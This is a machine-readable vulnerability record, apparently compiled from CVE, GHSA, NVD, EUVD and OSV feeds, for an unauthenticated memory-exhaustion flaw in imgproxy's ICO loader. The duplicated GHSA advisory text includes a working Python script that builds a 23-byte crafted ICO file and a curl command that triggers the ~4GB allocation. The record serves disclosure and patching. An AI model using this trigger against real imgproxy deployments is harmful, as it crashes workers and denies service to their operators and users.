{"id":"CVE-2026-123616","aliases":["EUVD-2026-119375","GHSA-97wv-7mx5-f6w4","GHSA-mmq5-xm89-9pfg","GO-2026-6898"],"status":"published","title":"imgproxy 3.3.0 before 4.0.16 Memory Exhaustion DoS via ICO Loader","description":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00474,"percentile":0.41459,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-789"],"published":"2026-10-30T22:55:49Z","modified":"2026-11-12T18:17:20Z","fixes":[{"ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","fixed_in":["4.0.16"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v4","fixed_in":["4.0.16"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"last_affected":"4.0.15"},{"fixed":"4.0.16"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0"},{"fixed":"4.0.16"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.3.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/imgproxy/imgproxy/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.16"}]}]}],"products":[{"vendor":"imgproxy","product":"imgproxy"}],"references":[{"url":"https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/imgproxy-3.3.0-before-4.0.16-memory-exhaustion-dos-via-ico-loader","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-123616","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-97wv-7mx5-f6w4"},{"url":"https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917","tags":["web","fix"]},{"url":"https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16","tags":["web"]},{"url":"https://github.com/advisories/GHSA-mmq5-xm89-9pfg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/123xxx/CVE-2026-123616.json","tags":["advisory"]},{"url":"https://github.com/imgproxy/imgproxy","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-123616","title":"imgproxy 3.3.0 before 4.0.16 Memory Exhaustion DoS via ICO Loader","description":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.","status":"published","published":"2026-11-08T01:38:40.389Z","modified":"2026-11-12T17:52:10.185Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-789"],"updated_at":"2026-11-12T18:46:15.330302Z"}],"euvd":[{"id":"EUVD-2026-119375","description":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.","status":"published","published":"2026-11-08T01:38:40Z","modified":"2026-11-12T17:52:10Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T06:12:04.155226Z"}],"ghsa":[{"id":"GHSA-97wv-7mx5-f6w4","title":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the...","description":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.","status":"published","published":"2026-11-08T03:30:37Z","modified":"2026-11-08T03:30:44Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-08T03:41:54.072675Z"},{"id":"GHSA-mmq5-xm89-9pfg","title":"imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field","description":"### Summary\n\nUnbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.\n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:\n\n```\nuint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);\n\n// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.\nVipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);\n```\n\nThere is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.\n\n### PoC\n\n```py\n# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.\n# Byte-identical to the checksummed, production-verified file:\n#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b\nimport struct, hashlib\n\nhdr = struct.pack('\u003cHHH', 0, 1, 1)  # reserved, type=ICO, count=1\nentry = struct.pack('\u003cBBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)\ndata = b'\\x00'\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'\nopen('ico-4gb.ico', 'wb').write(blob)\nprint(f\"ico-4gb.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png\"\n# → outcome depends on host memory: on a memory-constrained pod the worker\n#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and\n#   decode fails -\u003e HTTP 500 (worker survives, but each request burns ~4GB\n#   transiently — repeatable memory exhaustion).\n```\n\n### Impact\n\nUnauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.","status":"published","published":"2026-10-30T22:55:49Z","modified":"2026-10-30T22:55:52Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-123616","description":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.","status":"published","published":"2026-11-08T02:16:57.307Z","modified":"2026-11-12T20:28:31.817Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-789"],"updated_at":"2026-11-12T19:32:18.279538Z"}],"osv":[{"id":"CVE-2026-123616","title":"imgproxy 3.3.0 before 4.0.16 Memory Exhaustion DoS via ICO Loader","description":"imgproxy from 3.3.0 before 4.0.16 contains an unbounded memory allocation vulnerability in the ICO loader that fails to validate the data_size field. Attackers can supply a crafted 23-byte ICO file declaring a ~4GB data_size to trigger memory exhaustion and worker crashes without authentication.","status":"published","published":"2026-11-08T01:38:40.389Z","modified":"2026-11-09T02:47:10.668555236Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-09T03:16:24.800471Z"},{"id":"GHSA-mmq5-xm89-9pfg","title":"imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field","description":"### Summary\n\nUnbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.\n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:\n\n```\nuint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);\n\n// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.\nVipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);\n```\n\nThere is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.\n\n### PoC\n\n```py\n# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.\n# Byte-identical to the checksummed, production-verified file:\n#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b\nimport struct, hashlib\n\nhdr = struct.pack('\u003cHHH', 0, 1, 1)  # reserved, type=ICO, count=1\nentry = struct.pack('\u003cBBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)\ndata = b'\\x00'\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'\nopen('ico-4gb.ico', 'wb').write(blob)\nprint(f\"ico-4gb.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png\"\n# → outcome depends on host memory: on a memory-constrained pod the worker\n#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and\n#   decode fails -\u003e HTTP 500 (worker survives, but each request burns ~4GB\n#   transiently — repeatable memory exhaustion).\n```\n\n### Impact\n\nUnauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.","status":"published","published":"2026-10-30T22:55:49Z","modified":"2026-11-08T10:56:06.969623324Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-08T11:04:05.022583Z"},{"id":"GO-2026-6898","title":"imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field in github.com/imgproxy/imgproxy","description":"imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field in github.com/imgproxy/imgproxy","status":"published","published":"2026-11-05T22:54:57Z","modified":"2026-11-08T10:56:06.969623324Z","updated_at":"2026-11-08T11:04:05.022583Z"}]}}
